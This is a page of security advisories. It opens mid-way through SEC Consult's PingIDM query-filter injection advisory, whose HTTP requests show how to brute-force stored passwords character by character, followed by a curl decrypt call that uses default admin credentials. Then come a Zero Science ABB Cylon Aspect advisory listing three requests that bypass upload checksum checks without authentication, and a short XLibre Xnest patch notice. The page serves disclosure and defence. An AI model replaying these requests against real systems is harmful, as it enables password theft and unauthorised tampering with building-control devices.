route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]Accept-Api-Version: resource=1.0Accept: application/jsonReferer: https://$HOST/api/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=1, i```HTTP Response```HTTP/2 200 OKDate: Wed, 10 Apr 2024 13:07:17 GMTContent-Type: application/json;charset=utf-8Content-Length: 534Cache-Control: no-storeContent-Security-Policy: default-src 'none';frame-ancestors 'none';sandboxCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originExpires: 0Pragma: no-cacheSet-Cookie: session-jwt=[redacted]Path=/; HttpOnlyX-Content-Type-Options: nosniffX-Frame-Options: DENYVary: Accept-Encoding, User-AgentStrict-Transport-Security: max-age=15724800; includeSubDomainsX-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9{    "result": [        {            "_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",            "_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",            "userName": "secUser1",            "accountStatus": "active",            "postalCode": "8046",            "stateProvince": "ZH",            "postalAddress": "Flurstrasse",            "description": "Pentest User 1",            "country": "CH",            "city": "Zurich",            "givenName": "SEC",            "sn": "Consult",            "mail": "secuser1@sec-consult.com",            "preferences": {                "updates": true,                "marketing": false            }        }    ],    "resultCount": 1,    "pagedResultsCookie": null,    "totalPagedResultsPolicy": "NONE",    "totalPagedResults": -1,    "remainingPagedResults": -1}```As it can be noticed in the request above, all users with a password startingwith 'a' (case insensitive) were queried and as expected, user 'secUser1' withpassword 'aAqQ1234!' was returned. For an additional sanity check, SEC Consultnext queried all users with password starting with 'aR'. Since no users areto be found in the deployed instance with a matching password, no entriesare returned as it can be seen below:HTTP Request```GET /openidm/managed/user?_queryFilter=password+sw+"aR" HTTP/2Host: $HOSTCookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]Accept-Api-Version: resource=1.0Accept: application/jsonReferer: https://$HOST/api/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=1, i```HTTP Response```HTTP/2 200 OKDate: Wed, 10 Apr 2024 13:08:01 GMTContent-Type: application/json;charset=utf-8Content-Length: 138Cache-Control: no-storeContent-Security-Policy: default-src 'none';frame-ancestors 'none';sandboxCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originExpires: 0Pragma: no-cacheSet-Cookie: session-jwt=[redacted]Path=/; HttpOnlyX-Content-Type-Options: nosniffX-Frame-Options: DENYVary: Accept-Encoding, User-AgentStrict-Transport-Security: max-age=15724800; includeSubDomainsX-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9{    "result": [],    "resultCount": 0,    "pagedResultsCookie": null,    "totalPagedResultsPolicy": "NONE",    "totalPagedResults": -1,    "remainingPagedResults": -1}```However, if the attacker correctly guesses the second letter of the password,e.g., by querying for passwords starting with 'aA', we observe that the same useris returned as before:HTTP Request```GET /openidm/managed/user?_queryFilter=password+sw+"aA" HTTP/2Host: $HOSTCookie: route=1712737028.694.31674.440043|b75f0b2274c1023ba864392bb04e5ca3; i18next=en-us; session-jwt=[redacted]Accept-Api-Version: resource=1.0Accept: application/jsonReferer: https://$HOST/api/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=1, i```HTTP Response```HTTP/2 200 OKDate: Wed, 10 Apr 2024 13:09:25 GMTContent-Type: application/json;charset=utf-8Content-Length: 534Cache-Control: no-storeContent-Security-Policy: default-src 'none';frame-ancestors 'none';sandboxCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originExpires: 0Pragma: no-cacheSet-Cookie: session-jwt=[redacted]Path=/; HttpOnlyX-Content-Type-Options: nosniffX-Frame-Options: DENYVary: Accept-Encoding, User-AgentStrict-Transport-Security: max-age=15724800; includeSubDomainsX-Forgerock-Transactionid: 4261c9f68aa23e492ad57a19973188a9{    "result": [        {            "_id": "0a0f9700-1f7e-498c-967d-b24a0b3ab301",            "_rev": "0cc5575b-ce37-47c1-9beb-408b477c924e-1665022",            "userName": "secUser1",            "accountStatus": "active",            "postalCode": "8046",            "stateProvince": "ZH",            "postalAddress": "Flurstrasse",            "description": "Pentest User 1",            "country": "CH",            "city": "Zurich",            "givenName": "SEC",            "sn": "Consult",            "mail": "secuser1@sec-consult.com",            "preferences": {                "updates": true,                "marketing": false            }        }    ],    "resultCount": 1,    "pagedResultsCookie": null,    "totalPagedResultsPolicy": "NONE",    "totalPagedResults": -1,    "remainingPagedResults": -1}```This indicates that an attacker can efficiently brute-force users' passwords.PoC 2: PingIDM (v7.5.0) - configured to store encrypted user passwordsPingIDM by default stores a user's password encrypted symmetrically using aprivate key that is created upon the first startup of the platform and isstored in the application key-store under '{installation-path}/security/keystore.jceks'.The encrypted password is represented by an object rather than a string. An exampleof an encrypted password JSON object is shown below:```  "username" : "anonymous",  "password" : {                        "$crypto" : {                            "type" : "x-simple-encryption",                            "value" : {                                "cipher" : "AES/CBC/PKCS5Padding",                                "stableId" : "openidm-sym-default",                                "salt" : "9fwdc+Vp1LxDno0YC6bXAA==",                                "data" : "JtFAY+EupwCSLbH06d5OPA==",                                "keySize" : 16,                                "purpose" : "idm.config.encryption",                                "iv" : "Aaek9zviMgZVz/fvOOobIQ==",                                "mac" : "IhKQTvyjcJqw1aW5BMBZpQ=="                            }                       }                },```While at first glance this object structure seems to break the query filterinjection from the previous example, it was found that all encrypted passwordfields can be queried in the exact same way using the '_queryFilter' GETparameter, and by fully specifying their path within the JSON object, forexample:```GET /openidm/managed/user?_queryFilter=password/$crypto/value/data+sw+"J"```The above request can be modified to include all other fields such as cipher,salt, data, iv, mac, etc. Obtaining a cleartext password in this example,would be clearly more challenging, as it would entirely depend on the securityof the encryption key utilized. However, under certain circumstances(subject to user permissions), users in PingIDM can use the REST API to decryptencrypted objects without the need for the key, as shown in the documentation:```curl \--header "X-OpenIDM-Username: openidm-admin" \--header "X-OpenIDM-Password: openidm-admin" \--header "Content-Type: application/json" \--cacert ca-cert.pem \--request POST \--data '{  "type": "text/javascript",  "globals": {    "val": {      "$crypto": {        "type": "x-simple-encryption",        "value": {          "cipher": "AES/CBC/PKCS5Padding",          "stableId": "openidm-sym-default",          "salt": "qAS/eG7zdnFyK5H8lXvqTA==",          "data": "zewf6hR1yjp34EFJqUGpdnzzFCPJs2IaX4V97jdQlSI=",          "keySize": 16,          "purpose": "idm.password.encryption",          "iv": "A4pIiY6kG6t0uLyLmJAoWQ==",          "mac": "sFDJqg0Mmp0Ftl+1q1Bjzw=="        }      }    }  },  "source":"openidm.decrypt(val);"}' \"https://$HOST/openidm/script?_action=eval"{  "myKey": "myPassword"}```source: https://backstage.forgerock.com/docs/idm/7/security-guide/keystore-encrypt-decrypt.htmlVulnerable / tested versions:-----------------------------The following versions have been tested which were the latest versionavailable at the time of the test:* 7.3.0* 7.5.0The vendor communicated the following affected versions:* 7.0.0 - 7.5.0, specifically 7.0.2, 7.1.3, 7.2, 7.3, 7.4, 7.5 (and older unsupported versions)Vendor contact timeline:------------------------2024-04-17: Contacting vendor through https://support.pingidentity.com/s/security-vulnerability            No response.2024-05-02: Contacting vendor through vulnerability submission form again.            No response.2024-05-23: Contacting CISO via LinkedIn. Immediate response, submitting            advisory details via encrypted email.2024-06-04: Security engineering team responds, acknowledges finding with low risk score.            Patch will be released and CVE be assigned nevertheless.2024-06-11: Asking vendor for coordinated release, timeline, affected/fixed versions, CVE.2024-06-17: Vendor: thoroughly addressed the vulnerability, assigned CVE-2024-23600.            Tentative public date for CVE is 24th June. Because of low risk, fix will be in next            GA release 7.6 and backports to 7.5.x-7.1., acknowledged credits for team,            needs us to submit to HackerOne as well regarding bug bounty donation.2024-06-21: Submitting to HackerOne, proposing coordinated release of our advisory            after patches are available to customers.2024-08-01: PingIdentity informs us that everything is patched and CVE released, awarded bounty.2024-09-25: Following up after vacation absences, preparing our security advisory release,            asking for clarification regarding version numbers; no response2024-10-17: Asking for version numbers and download URLs again            Vendor confirms versions numbers and links.2024-10-22: Informing vendor about planned advisory release next week.2024-10-29: Receiving feedback, version 7.6 won't be released, but 8.0; Adjusting advisory.2024-10-30: Coordinated advisory releaseSolution:---------The vendor provides patches for the affected versions which can be downloaded fromtheir download site. Furthermore, the upcoming release 8.0 includes the fixes as well:https://backstage.forgerock.com/downloads/browse/idm/all/productId:idmVendor security advisory with further information:https://backstage.forgerock.com/knowledge/advisories/article/a95212747Workaround:-----------For custom roles, a granular permission selection can be made on allobject's fields allowing 'Read', 'Read/Write', and 'None' access options.In the User object, the 'password' field is configurable to thesepermissions as well, even though this field can never be retrievedor read from any API endpoints or UI (rightfully so). If thepermissions for the 'password' field under the user role are setto 'None', this will prevent also queries from being executed onthat field. By default, when assigning read permissions to an object,all fields are marked as 'Read', as expected, therefore this changeneeds to be done manually.Unfortunately, for built-in roles, e.g. 'openidm-admin', these granularpermissions cannot be set, therefore this workaround won't work.Advisory URL:-------------https://sec-consult.com/vulnerability-lab/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SEC Consult Vulnerability LabAn integrated part of SEC Consult, an Eviden businessEurope | AsiaAbout SEC Consult Vulnerability LabThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, anEviden business. It ensures the continued knowledge gain of SEC Consult in thefield of network and application security to stay ahead of the attacker. TheSEC Consult Vulnerability Lab supports high-quality penetration testing andthe evaluation of new offensive and defensive technologies for our customers.Hence our customers obtain the most current information about vulnerabilitiesand valid recommendation about the risk profile of new technologies.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Interested to work with the experts of SEC Consult?Send us your application https://sec-consult.com/career/Interested in improving your cyber security with the experts of SEC Consult?Contact our local offices https://sec-consult.com/contact/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Mail: security-research at sec-consult dot comWeb: https://www.sec-consult.comBlog: https://blog.sec-consult.comTwitter: https://twitter.com/sec_consultEOF Ksandros Apostoli, Miguel García Martín / @2024

Ping Identity PingIDM 7.5.0 Query Filter Injection

ABB Cylon Aspect version 3.08.01 has a vulnerability in caldavInstall.php, caldavInstallAgendav.php, and caldavUpload.php files, where the presence of an EXPERTMODE parameter activates a badassMode feature. This mode allows an unauthenticated attacker to bypass MD5 checksum validation during file uploads. By enabling badassMode and setting the skipChecksum parameter, the system skips integrity verification, allowing attackers to upload or install altered CalDAV zip files without authentication. This vulnerability permits unauthorized file modifications, potentially exposing the system to tampering or malicious uploads.

    ABB Cylon Aspect 3.08.01 (badassMode) File Upload MD5 Checksum BypassVendor: ABB Ltd.Product web page: https://www.global.abbAffected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio                  Firmware: <=3.08.01Summary: ASPECT is an award-winning scalable building energy managementand control solution designed to allow users seamless access to theirbuilding data through standard building protocols including smart devices.Desc: The ABB BMS/BAS system has a vulnerability in caldavInstall.php,caldavInstallAgendav.php, and caldavUpload.php files, where the presenceof an EXPERTMODE parameter activates a badassMode feature. This mode allowsan unauthenticated attacker to bypass MD5 checksum validation during fileuploads. By enabling badassMode and setting the skipChecksum parameter, thesystem skips integrity verification, allowing attackers to upload or installaltered CalDAV zip files without authentication. This vulnerability permitsunauthorized file modifications, potentially exposing the system to tamperingor malicious uploads.Tested on: GNU/Linux 3.15.10 (armv7l)           GNU/Linux 3.10.0 (x86_64)           GNU/Linux 2.6.32 (x86_64)           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz           PHP/7.3.11           PHP/5.6.30           PHP/5.4.16           PHP/4.4.8           PHP/5.3.3           AspectFT Automation Application Server           lighttpd/1.4.32           lighttpd/1.4.18           Apache/2.2.15 (CentOS)           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)Vulnerability discovered by Gjoko 'LiquidWorm' Krstic                            @zeroscienceAdvisory ID: ZSL-2024-5860Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5860.php21.04.2024--$ cat project                 P   R   O   J   E   C   T                        .|                        | |                        |'|            ._____                ___    |  |            |.   |' .---"|        _    .-'   '-. |  |     .--'|  ||   | _|    |     .-'|  _.|  |    ||   '-__  |   |  |    ||      |     |' | |.    |    ||       | |   |  |    ||      | ____|  '-'     '    ""       '-'   '-.'    '`      |____░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                                     ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░          ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░          ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                                                                                                                                              $ head caldavInstall.php caldavInstallAgendav.php==> caldavInstall.php <==<?php$badassMode = false;if (isset($_GET["EXPERTMODE"])) {    $badassMode = true;}?><html><head>==> caldavInstallAgendav.php <==<?php$badassMode = false;if (isset($_GET["EXPERTMODE"])) {    $badassMode = true;}?><html><head>1. GET /caldavInstall.php?EXPERTMODE (FE)2. GET /caldavInstallAgendav.php?EXPERTMODE (FE)3. POST /caldavUpload.php -d "skipChecksum=1" (BE)

ABB Cylon Aspect 3.08.01 File Upload MD5 Checksum Bypass

Xlibre Xnest versions 24.1.0 and 24.2.0 suffer from a buffer overflow vulnerability that affected Xorg.

    XLibre project security advisory---------------------------------As Xlibre Xnest is based on Xorg, it is affected by some security issueswhich recently became known in Xorg: CVE-2024-9632: can be triggered by providing a modified bitmap to theX.Org server. CVE-2024-9632: Heap-based buffer overflow privilege escalation in_XkbSetCompatMapSee:  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-9632Affected versions:  * 24.1.0  * 24.2.024.1.x release:   Repo:   https://gitlab.freedesktop.org/metux/xserver.git   Branch: xlibre/xnest/24.1   Tag:    xnest-24.1.1   SHA:    11450b0946c1035944c5946d665f21f83356b6b924.2.x release:   Repo:   https://gitlab.freedesktop.org/metux/xserver.git   Branch: xlibre/xnest/24.2   Tag:    xnest-24.2.1   SHA:    9a6aec9bf62b6bdd75795a5e28648d4af07fe413These bugfix branches also contain several other pointer and boundsrelated problems that haven't been rated as possibly exploitable yet,but no other unnecessary changes which don't fix actual bugs.All users are strongly advised to upgrade to the fixed mainenancereleases ASAP.--mtx-----Enrico Weigelt, metux IT consultFree software and Linux embedded engineeringinfo@metux.net -- +49-151-27565287

Tag

#vulnerability